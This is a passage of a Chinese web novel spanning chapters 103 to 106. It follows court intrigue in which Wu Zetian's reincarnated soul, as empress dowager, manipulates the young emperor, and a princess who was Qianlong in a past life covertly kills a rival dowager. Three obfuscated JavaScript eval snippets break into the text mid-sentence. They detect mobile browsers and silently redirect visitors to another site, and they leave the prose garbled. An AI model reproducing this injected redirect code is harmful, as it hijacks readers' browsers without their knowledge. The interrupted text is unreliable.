“妞妞才不是想念额驸,妞妞是觉着他此次在西北就立下赫赫战功多半也是身先士卒受了大大小小的伤,妞妞想让他早日回京城养伤。” “西北确实很苦。” 武曌点头赞同,做出慈爱模样,对身旁道:“将本宫手谕八百里加急送去西北,着额驸立刻回京和公主团聚。” “富察家其他人呢?” 妞妞得寸进尺地问道。 武曌道:“自然是一并召回。” “那封赏的事情——” “本宫有意立富察家女儿为皇后,公主以为如何?” “这件事情……” 妞妞咬了下嘴唇。 她这一世是女人身份,不可能娶富察容吟为妻,也知道以富察容吟的德才兼备,入宫为后必定是千古贤后,对富察家的前途大有裨益,但是—— 想到前世与富察皇后的琴瑟和鸣,妞妞脸上难免泛起阴暗:“容吟喜欢江南的烟雨优雅,喜欢塞北的草原豪放,倘若入宫为后,她会变成剪掉翅膀的小鸟,迅速失去活力,郁郁痛苦……” 【你说这些话是因为知道她不喜欢还是因为即将娶她做皇后的人不是你?】 [闭嘴!] 妞妞嗔怒,脸上却堆满笑容:“皇额涅,妞妞觉得容吟她——” “本宫也觉得她不适合进入皇宫成为皇后。” 武曌抬手,轻抚鬓角:“本宫有意给她郡主的名分,让她由着心意挑选夫婿。” “当真?” 妞妞又惊又喜。 “本宫虽不是皇帝,却也一言九鼎。” 说到这里,武曌顿了一顿:“至于皇后人选,富察家族的女眷中难道选不出第二个才貌双全的?” 103.亲政 作为一个被先帝任命的摄政王、顾命大臣架空权力的小皇帝,弘宜非常期待大婚之日——大婚意味着他已经成年,可以逐步亲政,不论是借口皇帝年幼搞垂帘听政的两位皇太后,还是自称在家养病但其党羽依旧在朝中呼风唤雨的摄政王,或是内斗得不亦乐乎的顾命大臣们,都必须把权力逐步还给他。 所以,得知圣母皇太后有意从为大清立下赫赫功勋的富察家选一才貌双全的女子做他的皇后,弘宜顿时喜上眉梢,连珠炮追问:“选好了没有?什么时候大婚?大婚以后,朕是不是就可以亲政?” “百姓成婚尚且是人生大事,何况皇上册封皇后,还是原配。依着祖宗规矩,需得花费至少一年时间筹备大婚所需物品,然后再——” “朕不需要这些繁文缛节的俗礼,朕想立刻大婚!” 弘宜不耐烦地打断太监的絮絮叨叨,哀求地看着圣母皇太后:“朕已经长大,不想再被他们当孩子看待了!” “皇上想尽快亲政?” “不可以吗?” 弘宜反问:“皇额涅,朕可是先帝遗诏册立的大清皇帝!哪有皇帝不能亲政的道理?” “你可知道朝堂有多少党派?” “皇额涅这话——” 弘宜不解。 武曌轻拍少年皇帝的肩膀,柔声道:“如今,所有人都说本宫把哥哥召回京城是想扶持娘家人,让年羹尧权倾朝野一家独大。他们哪里知道,本宫之所以要扶持娘家人,全是为了皇上!张廷玉是汉臣,又是文官,暂且不提,怡亲王虽激流勇退主动回家,他摄政期间提拔的那些人可没一个愿意把好不容易到手的权力拱手让人。何况隆科多、鄂尔泰等人贵为顾命大臣又是满洲名门……要让他们交出权力,谈何容易。” “所以皇额涅召舅舅回京,试图驱狼吞虎?” 弘宜似懂非懂。 武曌见他如此上道,随即循循善诱道:“不错,驱狼吞虎,让你舅舅做恶人,把这些不肯挪窝的老人一个个赶下台,换上我们自己人。如此一来,等皇上大婚亲政的时候,满朝文武就都是我们娘俩的人了。” “那万一舅舅……舅舅生出其他心思呢?” 弘宜下意识地问道。 “他能生出什么其他心思?他的权力源于我们娘俩。” “可是西北……西北那边……朕听说舅舅在西北已经有‘西北王’的外号……” “所以皇额涅让他留在京城主持朝政大局把西北战事交给岳钟琪和富察家的年轻人们负责,如此便能让他和西北逐渐疏远,就算生出其他心思也没有军队支持他的野心。” 说到这里,武曌顿了一顿,补充道:“你舅舅是个绝世聪明人,他知道他必须留在京城,因为只有我们娘俩地位稳如磐石,他才能荣华富贵享之不尽。如果他为了将西北牢牢抓在手中不能长留京城导致我们娘俩被顾命大臣威胁、地位危若累卵,他即便成为名副其实的西北王也必定荣华富贵转瞬即逝。” ——儿子明白了。 弘宜恍然大悟:“——怪不得皇阿玛生前最喜欢皇额涅。皇额涅的这份聪明心智,莫说是女人,便是男人中也没有几个能比过!” 弘宜佩服不已。 武曌却道:“这些都是最浅薄的道理,很多人都能想到。” “儿子就想不到……” 弘宜沮丧地低下头。 “你年纪还小,又还没有亲政,等你亲政以后自然会明白。” 说到这里,武曌补充道:“事实上,为政者大部分时候是知道怎么做,但是不知道怎么做到。” “知道怎么做,不知道怎么做到?皇额涅这话是什么意思?” “意思就是……” 武曌略一沉思,徐徐道:“先帝在位期间积极推行的摊丁入亩是个是个好政策?” “皇阿玛推行的摊丁入亩是个旷古烁今的好政策。” “那你知道这个政策在推行的时候遇上了多少阻碍和麻烦吗?” “儿子……” “所以——只有当你既知道怎么做又知道怎么做到的时候,你才是一个真正的合格的帝王。” “儿子明白,儿子还有很多东西要学。” 弘宜崇拜地看着母亲:“儿子先行告退。” “你要跟着师傅们好好学习,大清早晚会交到你手里。” “儿子遵命。” …… 弘宜走后,凤龙迫不及待地冒出。 【你当真打算等他大婚就逐步把权力还给他?】 [怎么可能!我给他的承诺是大清早晚交到他手中,可不是他只要大婚就能得到权力。] 武曌淡然剥了一颗果子,放入口中。 [他能不能活到那天还是个未知数……] 【原来你……】 [为了权力,骨肉相残本就是稀疏平常的事情,我对他至少没有杀害之心。] 【前提是他安分守己做你的掌权工具?】 [这么明显的事情还需要确认吗?] 武曌抬眸,笑吟吟地看着凤龙。 凤龙抓了抓头皮。 【弘历那边打算怎么处理?他最近越来越不安分,一心想通过富察家扩大朝堂影响力,成为摄政公主。】 [暂时随她跳腾,宗法制度不改,她就算跳上天也没法从幕后走到台前,反倒可能因为跳腾得太厉害提前引起尤其是乌拉那拉氏的注意。] 【……乌拉那拉氏……你要用乌拉那拉氏对付弘历?】 [不可以吗?乌拉那拉氏可是个好女人,又忠诚又坚贞,所以才会被天幕历史直播系统选中,让她可以提前知道历史的走向……] 【你的意思是——】 [在乌拉那拉氏眼中,皇太后摄政再危险,权力终究会回到皇上手中,但公主干政、摄政王乱政,却可能导致皇位落到旁人手中。所以,即便她透过历史直播看到年家独霸朝堂的未来,她也不会阻止,但她会竭尽全力阻止摄政王篡位或是公主干政。] 说到这里,武曌也是一声叹息。 [乌拉那拉氏其实也是可怜人,即便成为母仪天下的皇太后,从小接受男尊女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228800|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卑、三从四德规训的她依然没有意识到女人也可以像男人一样拥有至高无上的权力,甘心情愿□□新觉罗家的好媳妇,守护和自己没有血缘关系的小皇帝的皇位。] …… …… 武曌觉得乌拉那拉氏可怜,乌拉那拉氏却从不觉得自己可怜。 通过天幕直播系统得知富察家将来因为显赫的军功在朝堂横行霸道、四格格也以此为契机对政事指手画脚后,乌拉那拉氏顿时对这个打小就格外聪明伶俐的庶出女儿生出提防。 [本宫依稀记得,在原本的历史中,四格格是以四阿哥身份出生,取名弘历,即位后被称为乾隆皇帝,统治大清六十年,立下十全武功……然而,历史发生了变化,四阿哥最终以四格格的身份降生……可她偏偏又拥有本该属于弘历的聪明才智甚至帝王野心……这样发展下去,她一定会威胁弘宜的皇位,危害大清的稳定!] 想到这里,乌拉那拉氏放下抄经的细楷笔,神色无比凝重,喃喃道:“先帝把皇上和江山托付在我手中,我决不允许皇位出现任何异常!” “太后,您为何……” 嬷嬷不解地看着突然自言自语的母后皇太后。 乌拉那拉氏抬头,柔声道:“哀家过几日要去畅音阁听曲,让四格格他们一家过来陪本宫。” “嗻——” …… “母后皇太后让我们去畅音阁陪她听曲?” 宫里的消息让妞妞露出欢喜神色,追问道:“此番听曲,除了本公主和富察家,还有哪些人有幸陪在母后皇太后身边?” “回主子的话,母后皇太后说此次只让四格格一家入宫陪她听曲。” “哦?” 妞妞眼中闪过精明的光。 [母后皇太后这般亲密举动显然是看出富察家的年轻一代将会成为大清未来的栋梁,有意笼络朕和富察家。如果朕是纯粹的没有政治野心的公主,额驸一家得到娘家如此对待,必然心满意足感激涕零,可惜……] 可惜她的灵魂是男人,是曾经君临天下六十年的皇帝! 再多的皇家封赏也无法满足她对权力的如饥似渴,除非把皇位给她! “——回去告诉母后皇太后,就说四格格全家受宠若惊,恨不得时时刻刻陪母后皇太后看戏听曲。” “奴才告退。” 宫中使者欠身退下。 妞妞转头,看了眼管事嬷嬷:“额驸的事情,太医那边什么说法?” “回主子的话,太医说额驸正当年轻,血气旺盛,身上的伤又大多只是皮肉伤,至多修养半月就能痊愈,唯独后背那道见骨的伤痕……怕是要费几年功夫才能……” “能养好就行。” 妞妞并不在乎额驸的死活。 毕竟,她下嫁富察家是为了将富察家男人们现在和未来的所有战功都握在手中作为自己的掌权筹码,可不是为了爱情。 当然,妞妞对富察家不是没有爱,只是不论前世今生,他/她的爱都只给富察容吟、傅恒以及这一世不知道还能不能出生的福康安。 104.没有道路可以借鉴 虽说洪昇因在康熙的孝懿皇后忌日演出《长生殿》而被劾下狱,孔尚任创作的《桃花扇》主题哀悼南明有攻击清廷之嫌,汤显祖的《牡丹亭》更是一部为情死、为情生的宣淫之作,但这些都不妨碍母后皇太后在畅音阁内听昆曲名家们为她表演以上三部名作的经典唱段。 听着伶人们如水磨汤圆般柔软圆润悦耳的唱腔,看着精彩纷呈又缠绵悱恻的歌舞姿态,母后皇太后不由想起与先帝如朝露般转瞬即逝的短暂恩爱,眯着眼睛小声哼唱。 “……这云情接着雨况,刚搔了心窝奇痒……谁搅起睡鸳鸯。被翻红浪……喜匆匆满怀欢畅……枕上余香,帕上余香,消魂滋味,才从梦里尝……” 哼着哼着,乌拉那拉氏眼角有晶莹闪烁。 一旁的妞妞顿时皱起眉头。 前世是男人今生是女人的她自然不可能不懂得女人独守空房的孤独和寂寞,也知道身为世祖皇后乌拉那拉氏虽是母仪天下的大清皇后,内心深处依然是个渴望得到男人的爱和尊重的柔软女人,但是—— 贵为母后皇太后竟然听这等淫词艳曲入迷! 甚至为此流下眼泪! 妞妞强忍着不悦,假装关切地打断乌拉那拉氏的思绪:“皇额涅莫不是被这些词曲勾起了和皇阿玛的往昔甜蜜?” 乌拉那拉氏闻言惊醒,擦拭眼泪,强作镇定:“弘晖活着的时候,先帝与哀家确实也算得上举案齐眉相敬如宾。” “妞妞不孝,惹皇额涅想起伤心事。” “妞妞不必自责,这折子戏本就是哀家点的。” 乌拉那拉氏淡淡一笑,命太监赏赐伶人,随即转头问妞妞:“额驸待你如何?” “言听计从,百依百顺。” “那你们何时——” 乌拉那拉氏的目光落在妞妞的小腹处。 妞妞顿时心头泛起恶寒,干笑道:“太医说额驸此番出征受损严重,起码得养个四五年才能恢复如常。” “至少要养四五年……” 乌拉那拉氏倒吸一口凉气:“公主受苦了。” “他对我极好,我愿意等他。” 妞妞努力做出小女儿的羞涩姿态。 乌拉那拉氏见状却越发担心妞妞的政治野心了。 “公主——” “皇额涅?” “你虽不是哀家的亲骨肉,却是先帝唯一还活着的女儿,倘若额驸无法让公主满意,先帝的在天之灵也会怪哀家没有照顾好公主。” “他对我——” “哀家也是女人,哀家知道女人希望从丈夫那边得到的不只是言语上的温情。女人需要男人的爱和呵护,无处不在的疼惜。” 说到这里,乌拉那拉氏顿了一下,道:“哀家有意为公主另择佳婿。” “什么!” 妞妞发出惊呼:“皇额涅这话是——” “既然额驸身体有恙不能让公主满意,哀家自然要为公主另择佳婿,免得公主独守寂寞,耽误了大好青春。” “可是——” “公主还年轻,只知道爱额驸的青春英俊,不知道男女之间还有其他更重要的东西。但哀家是过来人,哀家不能让公主的青春有一丝一毫的遗憾。” 乌拉那拉氏的态度异常坚决。 她必须拆散皇四女和富察家的婚姻,确保富察家男人们在富察女儿成为大清皇后以后成为皇帝忠心不二的助力,而不是作为有强烈的政治野心的皇四女的后盾,帮助她干涉朝堂! “皇额涅,你……” [可恶!为什么这一世的朕是女人!无法享受哪怕一丁点的男人特权!] 妞妞气得咬碎银牙还要努力装出撒娇天真的公主姿态:“皇额涅,我是真心喜欢额驸,我只想和他在一起~若是他配不上我,我就……就……就算嫁给他的兄弟也可以,总之,妞妞绝对不要离开额驸~更不能离开富察家~” “妞妞,你……” [你难道非要我把话挑明白吗!你留在富察家将危害大清江山!] 乌拉那拉氏强忍怒气,明白无误地告诉皇四女:“哀家心意已决,公主不要再说了。” “皇额涅——” “回宫!” 乌拉那拉氏起身离去。 妞妞目送母后皇太后离去,心中燃起燎原大火。 [可恶!可恶!你做这个决定当真是为了朕的幸福?!还是说……] 想到某种可能,妞妞身体一哆嗦。 [……她看出了朕的政治野心?她在提防朕?] 【你有野心,自然也会有人发现你的野心。】 凤龙嘲讽弘历的狂妄自大。 妞妞在宫人的搀扶下缓缓起身,暗藏帝王锋芒的眼中流过一抹犀利。 [富察家的军功是朕这一世谋取权力的关键,朕决不能和富察家解除婚姻关系!任何人只要碍着朕的路,都——必须——死!] 【你要杀乌拉那拉氏?】 凤龙嘴角扬起兴致盎然。 [怎么?不可以?] 【她可是你的嫡母,按着你们的宗亲伦理传统,杀父母至亲,罪无可赦。庶子女杀嫡母,罪加一等。】 [规矩是给要守规矩的人制定的,可朕是定规矩的人。朕要做什么,谁能管!谁敢管!] 【如果是前世贵为皇帝的你,自然是无人能管,无人敢管,可这一世的你是女人,是女儿,是你们的宗亲伦理规矩里面守规矩的人。】 凤龙无情讥讽妞妞,或者说弘历。 妞妞闻言,眼中掠过一丝不悦,随即坐上肩辇,扬长而去。 …… …… [因为要拆开他和富察家,弘历对乌拉那拉氏动了杀心?] 武曌惊讶。 倒不是惊讶弘历居然敢对乌拉那拉氏动杀心,而是惊讶乌拉那拉氏反复深思熟路后想到的解决办法竟然是拆开妞妞要和富察家。 [果然是个温柔善良的好女人。] 【善良是美德,只是不利于成大事的关键时刻。】 [你说得很对。] 武曌深以为然。 【需要阻止弘历吗?毕竟如果乌拉那拉氏死了,绑在她身上的天幕直播系统就……你也将无法通过复刻天幕提前知道未来会发生的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14239937|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,早早做好准备。】 [……关于这点……我已经想得很清楚……前世的我没有任何前人的道路可以借鉴,依然可以创下属于自己的功业……而乌拉那拉氏拥有天幕直播系统数十年最终依然把一手好牌打稀烂。由此可见,成事的关键是自身而非外力。自身不行,外力再强大也无济于事。] 【你的意思是——】 [我相信这一世的我即便失去了复刻天幕的提前预警,也能凭借自身的聪明才智得到我想要的一切!] 【可是……】 [乌拉那拉氏是雍正原配发妻,自身年纪足够做年世华的母亲,年长的她注定走在我的前面。弘历的这一决定不过是让失去天幕直播系统的示警好处的未来大大提前,仅此而已。] 【原来如此。】 凤龙恍然大悟,同时也露出欣然笑容。 【等妞妞办成送乌拉那拉氏上路这件事,你要怎么处置妞妞?】 闻言,武曌抬手顺了顺发髻。 [等她办成以后再考虑。] …… …… 妞妞既然决心要除掉乌拉那拉氏这个碍路的人,自然雷厉风行,不过一个月的时间,乌拉那拉氏就身体不适,精神不振,太医反复诊断始终找不出病因,传教士们更是束手无策,只得请萨满、高僧、仙长轮番为母后皇太后祈福。 “皇额涅这是怎么啦?难不成真是……” 小皇帝弘宜担忧地看着病榻上的母后皇太后:“皇额涅,民间流行冲喜,或许朕应该立刻迎娶皇后为皇额涅冲喜祈福。” “皇上……你有这份心……哀家已经心满意足,只是……” “只是什么?皇额涅有什么想要的只管开口,朕一定为皇额涅达成心愿!” 弘宜真诚地看着母后皇太后。 看到小皇帝待自己如此真诚孝顺,乌拉那拉氏大感欣慰,同时也倍加伤痛。 她从一开始就猜到这场突如其来的怪病和四公主脱不开关系,即便手中没有一丝证据。 或者说,正因为一切都无迹可寻才更证明怪病源于四公主的阴谋策划! [为什么本该成为乾隆皇帝的四阿哥最终以四格格的身份降世!如果是阿哥该多好!如果是阿哥……] 想到这里,乌拉那拉氏抓着弘宜的手叹道:“皇上是有德明君,哀家为皇上做任何事都心甘情愿,可惜……哀家终究看不到皇上大权在握叱咤寰宇的那一天……哀家……哀家有个心愿……关于你的四皇姐……” “四皇姐?” 弘宜闻言大惑不解,转头看向身后:“皇额涅这话……” “皇上有所不知,四公主的额驸虽少年英勇,在西北为大清立下功劳,但身体也因此留下亏损,说是至少要休养数年。母后皇太后不忍四公主耽误大好青春,又怕下旨拆散会寒了富察家的心,让四公主背上骂名,所以……” 听了嬷嬷的解释,弘宜恍然大悟:“皇额涅只管放心,儿子绝不让四皇姐受任何委屈!” “皇上……有皇上这句话,哀家就放心了……” 乌拉那拉氏苦笑着,缓缓闭上眼睛。 105.造蒸汽船 自摄政怡亲王告病回家,母后皇太后便不再过问政事,因此,她的溘然长逝并未对朝堂格局造成剧烈影响。 至少,时人眼中确实如此。 唯一摆在明面上的影响是圣母皇太后和小皇帝为表达对母后皇太后的哀思之情,宣布象征皇帝亲政的帝后大婚将推迟到到两年后举行。 “皇上对母后皇太后的孝心当真是举世无双、天地可鉴!” “圣母皇太后对母后皇太后果然一片真心。” “母后皇太后为人温淑娴德,母仪天下,本也该被如此尊敬供奉!” “……” 朝堂上,朝臣们心不在焉地说着哀悼的体面话,内心所想却是—— [圣母皇太后果然是个妇道人家,居然听从年羹尧的建议让皇上为母后皇太后守孝,生生把皇上大婚亲政的日子又往后推迟了两年!] [如今摄政怡亲王告病回家,母后皇太后溘然长逝,皇上年幼,圣母皇太后对年羹尧言听计从!往后的大清朝堂怕不是要变成年家人的一言堂!] [年家真乃汉人之光!年大将军在朝堂坐镇,圣母皇太后在后宫把关,汉臣进太庙,计日可待!] [……圣母皇太后真是糊涂!竟然由着年家人胡来!莫不是想葬送我们满人江山!] [汉人果然是汉人,就算出身汉军旗,骨子里也是汉人那一套!可恶!] [……] 纷至沓来的想法混合着各类体面恭维一起传入武曌耳中,武曌却不以为然,以摄政太后的身份和列位大臣讨论完军国大事后,冷不防提起年希尧。 “大哥有意和西洋人合作用蒸汽机造船出海,你们可有意见?” “这……” 朝臣们愣住了。 禁海令可是大清执行了近百年的海防政策,□□后这一政策虽有所松动,但对海上贸易仍有一系列的禁令和限制,和西洋人的商贸往来几乎全部通过广州十三行完成。 “怎么不说话?” “回圣母皇太后,奴才们不是不会说话,是不知道该不该说话。” “哦?” “世祖皇帝和圣祖皇帝曾留下祖训,大清地大物博,物产丰富,无需与外邦蛮夷交易便可自给自足丰衣足食,开放海上贸易允许百姓出海只会让沿海刁民心生不轨勾搭狼子野心的蛮夷祸害大清!” “本宫此番提议乃是和西洋人合作制造蒸汽船只,为何你们顾左右而言他,怀疑本宫此举是要废除禁海令?” “臣……” “圣祖皇帝与世宗皇帝生前都对西洋人的各类新奇物件极为欣赏,听闻西洋人的大船只需数月便可远渡汪洋来到大清,更生出羡慕之情,感慨西洋技术的精巧。本宫悼念先帝,有意为先帝达成夙愿,你们也要反对吗?” “奴才不敢!” 朝臣们连忙叩首示弱,表达恭顺。 “既然不敢,那就拟旨让下面的人去做吧!” “嗻——” …… …… 得知圣母皇太后昨日在朝堂上强行授权年希尧主持造船,尹无归顿时坐不住。 要知道,在她熟悉的历史中,即便是两百年后的国家,要造一艘可以远渡重洋的大船也不是一件容易的事情,何况现在是十八世纪早期。当前世界,工业革命刚刚开始萌芽,蒸汽动能的开发应用尚且在黑暗中摸索,造船并且是造一艘可以远渡重洋的钢铁大船,将面临的困难和挑战必定数以万计! 她要尽自己的全力助他们一臂之力,不枉自己来这个平行世界走一遭! 想到此处,尹无归来到圣母皇太后跟前:“姐姐——” “什么事?” 武曌明知故问。 “姐姐当真要造船吗?造可以远渡重洋纵横四海的船?” “是。” “为什么?” “因为……” 武曌想了一下,缓缓道:“因为本宫认为禁海令治标不治本,封海只能暂时抵御海那边可能存在的威胁,不能从根本上解决问题。” [说的没错!进攻是最好的防守!进攻才能让敌人发自内心的害怕,不敢攻击我们!] 尹无归欣喜若狂:“那万一……我听说造船需要很多很多钱……” “造船确实要花很多钱,但是再多也有限度,不可能比修两座圆明园的钱还多。” “如此说来,姐姐是……” “对,本宫是铁了心要造船!” 武曌斩钉截铁。 不论是李唐或者武周都主张开拓进取,来自这两个时代的她讨厌闭关锁国讨厌故步自封。 “那妹妹……妹妹有个不情之请……” “说——” “妹妹想参与此事。” 尹无归眼神闪亮地看着武曌:“妹妹从小就喜欢船喜欢大海,妹妹想协助姐姐和年大人完成此事。” “这个……” “若是姐姐担心此事传扬出去有伤风化,妹妹可以诈死以寻常女子的身份随年大人去广州。” 尹无归知道这个时代虽然没有明文禁止女人抛头露面,但封建礼教的约定俗成坚不可摧,何况她现在的身份是先帝太嫔——先帝太嫔和外朝官员离京外出,出入全是光膀子打铁的男人的造船厂,传扬出去必会惹来无数闲言碎语。 “妹妹既有此心,姐姐必定要成全。” 武曌眼神沉痛地看着尹无归:“你不必诈死,你随时可以离开紫禁城随长兄前往广州。” “姐姐——” “若是遇上心仪之人,不妨与他结为夫妻。” “啊?” “收到消息后,本宫会宣布尹太嫔在紫禁城中病逝,放你自由。” “姐姐,你……” 尹无归心中既有激动也有难言的诧异:“你为什么要……” “因为……” [因为我在你身上看到了婉儿……] 呼吸间便压下思念的武曌笑着对尹无归道:“因为你不仅有才华也还年轻,没必要和我一起困在这个束缚你的才华和能力的紫禁城抱着牌位过一辈子。” “可是……” 尹无归小心藏住心中危险的想法,含笑道:“姐姐对我果真是极好的。” “赶紧回去准备吧!” 武曌催促尹无归。 “好!” ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250240|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尹无归走后,凤龙立刻冒出脑袋。 【刚才那些话是你的真心话?你真希望她能够在宫外广阔的天空找到属于自己的幸福?从此再也不回紫禁城?】 [是真心话,也是算计。] 武曌在凤龙面前一向直言不讳。 [她让我想起婉儿,那个年轻又富有才华的女孩……可惜……所以我是真心希望她能在宫外的广阔天空找到一个爱她疼她适合她的男人,从此夫妻恩爱,幸福美满。但是……] 【但是什么?】 [来自四十二世纪的她永远不可能在十八世纪找到适合她的男人。即便他的样貌让她满意,也对她付出足够的真心,可他们之间始终存在着两千四百年的文化差异和思想差异!即便她愿意为他忍受两千四百年前的愚昧落后,他也愿意为了她接受两千四百年后的新潮先锋,他们周围的人可是都还活在十八世纪呢!] 【……你说得好有道理。】 [十八世纪的皇宫或许封闭压抑,但对来自四十二世纪的她而言,却是当下最好的居所。] 【而且皇宫中还有你。】 凤龙露出坏笑。 【我明白你的想法了,你故意放她自由,让她去外面的世界活动,给她选择的权力,其实……当她意识到外面的世界比皇宫的天空更加封闭危险时,她会更加忠于你,更加真诚地帮助你改变这个世界。】 [不错。] 【那如果她在外面遇上了真爱,即便遍体鳞伤也要和那个男人长相厮守,为了那个男人一去不复返呢?】 [如此容易被爱情动摇、轻易为爱情舍弃理想和原则的她本也不配做我的同路人!] 武曌冷酷宣布。 …… …… 圣母皇太后准备花费巨资和西洋人一起造蒸汽船的消息很快传到妞妞耳中。 因为守孝的缘故近期都只能穿素色衣裳的她闻言皱起眉头。 [圣母皇太后这又是什么意思?难不成她也想成为大清女皇?打着造船的名义逐步解除禁海令,让西洋人的女人也可以登基做皇帝的想法传入大清?] 【你在想什么?】 凤龙嬉皮笑脸出现,漂亮的脸上写满幸灾乐祸。 [朕在想朕要怎么做才能……才能……] 【女主为帝对吧?】 [不错。] 【西洋有女人也可以登基的传统,而华夏历史同样出现过女皇帝……如今印刷产业发达,你完全可以到处印发传单,让天下人逐渐接受大清出现女皇帝这种事情……】 [大清出现女皇帝……] 妞妞眯眼,眼中闪烁着算计。 [圣母皇太后想做武则天,朕也想成为大清的伊丽莎白一世……朕应当先与她携手在民间造舆论推女皇……等时机成熟,再除掉这个女流之辈,独占天下!] 【不怕到时被圣母皇太后反杀?】 [她能反杀朕?朕前世是执掌大清六十年的十全老人!莫说她只是一个女人,就算集吕雉、邓绥、武则天和刘娥四人之力,也不是朕的对手!] 妞妞自信满满。 凤龙坏笑,不予置评。 106.先斩后奏 又一年春暖花开。 武曌正兴致盎然地阅读年希尧从广州送回的关于大清和西洋人合作造蒸汽船只的最新进度的折子,却见小皇帝弘宜在嬷嬷们的引导下神色苦闷地走进大殿。 “皇额涅——” “怎么回事?” 武曌放下折子,看向弘宜。 “儿子……儿子犯下了不孝之罪……” 弘宜低着头,声音也细得仿佛从地底下飘出来。 “……不孝之罪?你做了什么坏事?” 武曌心中暗喜,脸上却露出震惊姿态。 弘宜抬头,无比苦闷得表示:“伺候在儿子身边的一名常在前几日经太医诊断已怀有身孕,是儿子的骨肉……” “开枝散叶是好事……等一下!你说什么!” 武曌挑眉,严厉地看着弘宜:“孝期未满就……虽说天子守孝无须三年,可是……你怎么可以……母后皇太后薨逝才十个月就让身边的女人怀了身孕!这事情宣扬出去,宗亲王公们会怎么想!天下人会怎么在背后议论你!” “儿子知道……所以儿子才……皇额涅,儿子……” “本宫知道你是一时情不自禁才犯下错误,绝不是有意做出此等不孝之事。何况孩子都已经怀上……这样吧,等过了年就把那怀孕的常在的位份晋为贵人,至于孩子……足月出生后让太医将孩子记录为不足月的早产,如此一来,这孩子便可算作母后皇太后薨逝整一年后怀上……说出去好听些。” “皇额涅英明。” 听完圣母皇太后的解决方案,弘宜长舒一口气。 武曌见状,提醒道:“类似的事情不能再有第二次。” “儿子明白……儿子绝不再犯!” “那就好。” 武曌抬手,示意他下去。 弘宜却低声道:“皇额涅垂帘听政,可知道宫外如今盛传女主天下?” “女主天下?” 早就从凤龙处知道妞妞的计划的武曌不动声色:“莫非宗亲大臣们对本宫协助皇上处理政务一事有异议,故意编排‘女主天下’的传言离间我们母子?” “——儿子不孝,初次听到宫外的‘女主天下’的传言时也以为传言所说之人的是皇额涅,但是……” “但是什么?” 武曌明知故问。 “儿子派多人去京城的大小茶楼街坊查探,发现那传闻预示的‘女主’乃是年纪不过双十的青春女子且出生皇室……且民间还有人宣扬西洋蛮夷国家允许公主继承皇位的事情……远有伊莎贝拉女王,伊丽莎白女王,近有安妮女王……传闻俄罗斯伊凡五世的女儿安娜公主如今正虎视眈眈年幼体弱的彼得二世的皇位,彼得二世的姐姐伊丽莎白·彼得罗芙娜公主(叶卡捷琳娜二世的婆婆)也是个野心勃勃的女人。” 说到这里,弘宜眼中隐隐露出凶光:“皇额涅是儿子的生身母亲,即便皇额涅要效仿则天女皇登基,儿子也会出于孝道主动禅位给皇额涅,但如果有女子身为公主却妄想牝鸡司晨,简直异想天开不知所谓!” “此话当真?” 武曌不信弘宜会主动禅位给自己,但她想知道弘宜打算对付妞妞——或者说弘历。 “母后皇太后薨逝时曾叮嘱儿子要好生照顾朕的四皇姐,儿子也认为她是儿子的亲姐姐,即便她有千般不是万般不该,也不能对她做出手足相残的事情,儿子会尽可能地敲打她,提醒她,请她安分守己,不要妄想不属于自己的东西。” “皇位确实不是她可以妄想的东西。” 武曌似笑非笑。 弘宜跟着微笑道:“西洋蛮夷不懂礼教,不知教化,制定允许公主继承王位的律法,所以才被称为蛮夷。大清是礼仪之邦,遵守孔孟宗法,自然绝不可能效仿蛮夷。” “是啊,绝不可能效仿蛮夷……” 武曌笑容意味深长。 弘宜见状,起身告退。 …… “可恶!” 弘宜刚走,武曌立刻重重摔下手中奏折:“一群酒囊饭袋!” 【你当真只是在骂奏章里的官员?】 凤龙噗呲一笑,毫不掩饰幸灾乐祸。 [官员确实是一群酒囊饭袋,不过弘宜这个孩子……也着实是让我大感意外,十几岁的年纪就如此胆大妄为甚至敢指桑骂槐地警告我,好大的胆子!好傲慢的心思!] 【没办法,他身后站着两千多年的宗法制度呢~】 凤龙说风凉话。 【不过他暂时应该还不敢对你动手,毕竟你是以皇太后身份摄政,理直气壮名正言顺,即便等他亲政以后,你也可以皇太后身份过问政事。倒是弘历那边……听他的口气,显然不会忍耐太久……】 [他要对妞妞下手?] 【弘历很厉害,不管是杀乌拉那拉氏还是在民间传谣造势,都没有给对手留下任何可以作为把柄的错处。但是,就像岳飞死于‘莫须有’,皇帝铁了心要杀人,自然可以先杀人,后给罪名。】 说这些话的时候,凤龙嘴角难掩笑容。 [你看起来很兴奋?] 【难道你此刻一点都不兴奋?前世最喜欢弄权的乾隆大帝这一世居然死于权力的铁锤!】 